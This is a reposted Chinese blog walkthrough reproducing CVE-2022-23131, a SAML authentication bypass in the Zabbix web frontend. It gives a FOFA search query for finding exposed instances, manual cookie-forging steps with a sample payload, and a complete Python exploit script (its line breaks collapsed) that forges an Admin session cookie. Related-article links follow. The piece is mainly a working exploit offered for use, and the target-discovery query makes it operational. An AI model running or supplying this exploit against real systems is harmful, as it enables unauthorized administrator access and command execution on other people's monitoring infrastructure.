Zabbix登录绕过漏洞复现(CVE-2022-23131)

2023-11-09 02:59

本文主要是介绍Zabbix登录绕过漏洞复现(CVE-2022-23131),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Zabbix登录绕过漏洞复现(CVE-2022-23131)

漏洞描述

安全断言标记语言 (SAML) 是最常见的单点登录 (SSO) 标准之一。围绕 XML 实现,它允许身份提供者(IdP,一个能够对用户进行身份验证的实体)告诉服务提供者(SP,这里是 Zabbix)你是谁。您可以将Zabbix Web 前端配置为允许通过 SAML 进行用户身份验证,但默认情况下不启用它,因为它需要了解身份提供者的详细信息。这是企业部署最常见的设置。

在启用 SAML SSO 身份验证的实例上,它允许绕过身份验证并获得管理员权限。攻击者可以使用此访问权限在链接的Zabbix Server和Zabbix Agent实例上执行任意命令。

影响版本

Zabbix Web 前端版本包括

  • 5.4.8
  • 5.0.18
  • 4.0.36
  • 6.0.0alpha1

漏洞复现

Fofa 语法 app="ZABBIX-监控系统" && body="saml"
在这里插入图片描述
点击 Sign in 下面的 Sign in with Single Sign-On (SAML)

使用 Burp 抓包
在这里插入图片描述
复制 zbx_session 的值,使用 base64 解密一下
在这里插入图片描述
解密出来的数据和 {"saml_data":{"username_attribute":"Admin"} 结合一下

{"saml_data":{"username_attribute":"Admin"},"sessionid":"34deaa6a30e4208c183b335881a90a31","sign":"1YVxmgvUSc88AlgUPD3lsAmd1hAZoy+rRxNktEwqjxxT0NywAeDBjARJugpYGuVqPU8CfGtwkNgknfUstaK5\/Q=="}

然后使用 base64 加密一下

eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiMzRkZWFhNmEzMGU0MjA4YzE4M2IzMzU4ODFhOTBhMzEiLCJzaWduIjoiMVlWeG1ndlVTYzg4QWxnVVBEM2xzQW1kMWhBWm95K3JSeE5rdEV3cWp4eFQwTnl3QWVEQmpBUkp1Z3BZR3VWcVBVOENmR3R3a05na25mVXN0YUs1XC9RPT0ifQ==

然后替换 zbx_session 的值

在这里插入图片描述

Python 脚本

Python 脚本代码

# codingimport sys
import requests
import re,base64,urllib.parse,json
# 禁用警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)def runPoc(url):response = requests.get(url,verify=False)cookie = response.headers.get("Set-Cookie")sessionReg = re.compile("zbx_session=(.*?);")try:session = re.findall(sessionReg,cookie)[0]base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8"))session_json = json.loads(base64_decode)payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"])print("未加密Payload:" + payload)print('\n')payload_encode = urllib.parse.quote(base64.b64encode(payload.encode()))print("加密后Payload:" + payload_encode)except IndexError:print("[-] 不存在漏洞")if __name__ == '__main__':try:url = sys.argv[1]runPoc(url)except IndexError:print("""Use: python CVE-2022-23131.py http://xxxxxxxxx.comBy:MrHatSec""")

python3 CVE-2022-23131.py url
在这里插入图片描述
将生成的加密后的 Payload 替换到当前目标的 Cookie中,即可直接进入管理界面
在这里插入图片描述

这篇关于Zabbix登录绕过漏洞复现(CVE-2022-23131)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/MrHatSec/article/details/123997989
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/373702

相关文章

Zabbix在MySQL性能监控方面的运用及最佳实践记录

《Zabbix在MySQL性能监控方面的运用及最佳实践记录》Zabbix通过自定义脚本和内置模板监控MySQL核心指标(连接、查询、资源、复制),支持自动发现多实例及告警通知,结合可视化仪表盘,可有效... 目录一、核心监控指标及配置1. 关键监控指标示例2. 配置方法二、自动发现与多实例管理1. 实践步骤

Ubuntu 24.04启用root图形登录的操作流程

《Ubuntu24.04启用root图形登录的操作流程》Ubuntu默认禁用root账户的图形与SSH登录,这是为了安全,但在某些场景你可能需要直接用root登录GNOME桌面,本文以Ubuntu2... 目录一、前言二、准备工作三、设置 root 密码四、启用图形界面 root 登录1. 修改 GDM 配

nginx 负载均衡配置及如何解决重复登录问题

《nginx负载均衡配置及如何解决重复登录问题》文章详解Nginx源码安装与Docker部署,介绍四层/七层代理区别及负载均衡策略,通过ip_hash解决重复登录问题,对nginx负载均衡配置及如何... 目录一:源码安装:1.配置编译参数2.编译3.编译安装 二,四层代理和七层代理区别1.二者混合使用举例

如何在Ubuntu 24.04上部署Zabbix 7.0对服务器进行监控

《如何在Ubuntu24.04上部署Zabbix7.0对服务器进行监控》在Ubuntu24.04上部署Zabbix7.0监控阿里云ECS服务器,需配置MariaDB数据库、开放10050/1005... 目录软硬件信息部署步骤步骤 1:安装并配置mariadb步骤 2:安装Zabbix 7.0 Server

Visual Studio 2022 编译C++20代码的图文步骤

《VisualStudio2022编译C++20代码的图文步骤》在VisualStudio中启用C++20import功能,需设置语言标准为ISOC++20,开启扫描源查找模块依赖及实验性标... 默认创建Visual Studio桌面控制台项目代码包含C++20的import方法。右键项目的属性:

CSS3打造的现代交互式登录界面详细实现过程

《CSS3打造的现代交互式登录界面详细实现过程》本文介绍CSS3和jQuery在登录界面设计中的应用,涵盖动画、选择器、自定义字体及盒模型技术,提升界面美观与交互性,同时优化性能和可访问性,感兴趣的朋... 目录1. css3用户登录界面设计概述1.1 用户界面设计的重要性1.2 CSS3的新特性与优势1.

Maven 配置中的 <mirror>绕过 HTTP 阻断机制的方法

《Maven配置中的<mirror>绕过HTTP阻断机制的方法》:本文主要介绍Maven配置中的<mirror>绕过HTTP阻断机制的方法,本文给大家分享问题原因及解决方案,感兴趣的朋友一... 目录一、问题场景:升级 Maven 后构建失败二、解决方案:通过 <mirror> 配置覆盖默认行为1. 配置示

Java中的登录技术保姆级详细教程

《Java中的登录技术保姆级详细教程》:本文主要介绍Java中登录技术保姆级详细教程的相关资料,在Java中我们可以使用各种技术和框架来实现这些功能,文中通过代码介绍的非常详细,需要的朋友可以参考... 目录1.登录思路2.登录标记1.会话技术2.会话跟踪1.Cookie技术2.Session技术3.令牌技

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

SpringBoot后端实现小程序微信登录功能实现

《SpringBoot后端实现小程序微信登录功能实现》微信小程序登录是开发者通过微信提供的身份验证机制,获取用户唯一标识(openid)和会话密钥(session_key)的过程,这篇文章给大家介绍S... 目录SpringBoot实现微信小程序登录简介SpringBoot后端实现微信登录SpringBoo